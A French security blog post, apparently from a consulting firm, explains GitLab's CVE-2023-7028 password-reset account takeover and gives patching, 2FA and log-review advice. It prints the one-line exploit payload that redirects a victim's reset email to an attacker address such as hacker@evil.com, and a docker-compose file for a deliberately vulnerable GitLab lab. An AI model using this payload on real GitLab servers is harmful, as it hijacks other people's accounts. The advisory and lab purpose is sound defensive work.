Contenu

Compromettre des comptes Gitlab avec la vulnérabilité CVE-2023-7028

😮 Exposer GitLab publiquement en 2024 : trop dangereux ?



Est ce que exposer son propre Gitlab est une bonne pratique de sécurité ? Et bien vous allez voir que non.

2024 commence fort et donne encore de bonnes raisons de ne pas exposer ce service sur Internet (mais plutôt de l’héberger derrière un VPN).

Un début d’année sous haute tension

Le 11 janvier 2024, GitLab, la célèbre plateforme communautaire, a publié une annonce importante concernant les nouvelles versions 16.7.2, 16.6.4 et 16.5.6 pour GitLab Community Edition (CE) et Enterprise Edition (EE).

Deux vulnérabilités sont expliquées :

  1. La vulnérabilité CVE-2023-7028

    • CVSS de 10/10 😮
    • Elle permet la prise de contrôle d’un compte via la réinitialisation du mot de passe sans interaction de l’utilisateur.
  2. La vulnérabilité CVE-2023-5356

    • CVSS de 9.6/10 😟
    • Elle permet à un utilisateur d’abuser des intégrations Slack/Mattermost pour exécuter des commandes slash en tant qu’autre utilisateur.

En bref

La vulnérabilité la plus problématique est la première : la CVE-2023-7028.

Loin d’être inoffensive, elle est très problématique :

  • Elle permet de réinitialiser le mot de passe de n’importe quel utilisateur.
  • La vulnérabilité est exploitable sans compte.
  • Il est nécessaire de connaitre le mail de la victime.
  • La charge tient en une ligne : user[email][]=my.target@example.com&user[email][]=hacker@evil.com

La deuxième vulnérabilité est tout aussi grave mais moins facilement exploitable.

Exploitation

Pour exploiter cette vulnérabilité, le PoC est vraiment très simple :

1
user[email][]=valid@email.com&user[email][]=attacker@email.com
  • valid@email.com est l’adresse de la victime
  • attacker@email.com est l’adresse de l’attaquant

Une confusion est effectuée par GitLab rendant la possibilité à un attaquant d’écraser le mail de la victime par le sien 😮 !

Plus précisément, une modification a été apportée à la version 16.1.0 afin de permettre aux utilisateurs de réinitialiser leur mot de passe à l’aide d’une adresse électronique secondaire. La vulnérabilité résulte d’un bug dans le processus de vérification des email.

👉 Plus de détails sur le blog de GitLab : https://about.gitlab.com/releases/2024/01/11/critical-security-release-gitlab-16-7-2-released/#account-takeover-via-password-reset-without-user-interactions

Actions recommandées

Gitlab recommande les actions suivantes :

1️⃣ Mise à jour immédiate : il est fortement conseillé de mettre à jour Gitlab vers la dernière version corrigée. Pour les utilisateurs n’ayant pas encore effectué de mise à jour, GitLab recommande de passer directement aux versions 16.7.3, 16.6.5, 16.5.7 ou ultérieures.

2️⃣ Activer l’authentification à deux facteurs (2FA): GitLab conseille d’activer le 2FA pour tous les comptes. Cette sécurité empêche l’utilisation de cette vulnérabilité.

3️⃣ Vérification de l’intégrité : il est conseillé aux clients auto-gérés d’examiner leurs logs afin détecter toute tentative d’exploitation de ces vulnérabilités.

Exemple :

  • Consulter le fichier gitlab-rails/production_json.log afin de vérifier qu’aucune requête pointant vers la route /users/password ne contienne plusieurs adresses emails.
  • Consulter le fichier gitlab-rails/audit_json.log afin de vérifier que le champ meta.caller_id de PasswordsController#create et target_details ne contiennent pas plusieurs adresses emails.

Automatisation

De nombreux PoC sont disponibles sur Internet permettant d’automatiser la vulnérabilité :

Docker vulnérable

Pour les plus curieux, vous trouverez ci-dessous un docker compose vulnérable pour pratiquer cette vulnérabilité

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
version: '3.6'
services:
  gitlab:
    image: 'gitlab/gitlab-ce:16.1.4-ce.0'
    restart: always
    hostname: 'gitlab.domain.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://gitlab.domain.com'
        gitlab_rails['smtp_enable'] = true
        gitlab_rails['smtp_address'] = "smtp_address"
        gitlab_rails['smtp_port'] = 587
        gitlab_rails['smtp_user_name'] = "smtp_user_name"
        gitlab_rails['smtp_password'] = "smtp_password"
        gitlab_rails['smtp_domain'] = "domain.com"
        gitlab_rails['smtp_authentication'] = "login"
        gitlab_rails['smtp_enable_starttls_auto'] = true        
    ports:
      - '80:80'
      - '443:443'
      - '22:22'
    volumes:
      - './gitlab/config:/etc/gitlab'
      - './gitlab/logs:/var/log/gitlab'
      - './gitlab/data:/var/opt/gitlab'

Disponible sur le GitHub de Trackflaw : https://github.com/Trackflaw/CVE-2023-7028-Docker

Démonstration

Petite démonstration ci-dessous pour présenter l’exploitation de la vulnérabilité :

🙏 Patchez rapidement. Trackflaw est la pour vous aider dans cette tâche. Prenez contact avec nous sur https://trackflaw.com ou par email contact (@) trackflaw.com

Sources